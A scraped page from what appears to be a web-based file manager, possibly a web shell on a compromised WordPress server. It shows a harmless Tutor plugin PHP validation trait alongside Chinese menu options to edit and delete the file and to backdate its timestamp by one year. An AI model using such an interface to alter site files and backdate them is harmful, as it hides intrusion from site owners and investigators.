文件操作 - Custom_Validation.php
返回文件管理
返回主菜单
删除本文件
文件: /home/www/public/wp-content/plugins/tutor/classes/Custom_Validation.php
编辑文件内容
<?php /** * Reuseable custom validation trait * * @package Tutor * @author Themeum <support@themeum.com> * @link https://themeum.com * @since 2.0.0 */ namespace TUTOR; /** * Custom Validation Trait * * @since 2.0.0 */ trait Custom_Validation { /** * Check whether order value is asc or desc * * @since 2.0.0 * * @param string $order sorting order. * @return bool */ public function validate_order( $order ) { return in_array( strtolower( $order ), array( 'asc', 'desc' ), true ); } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件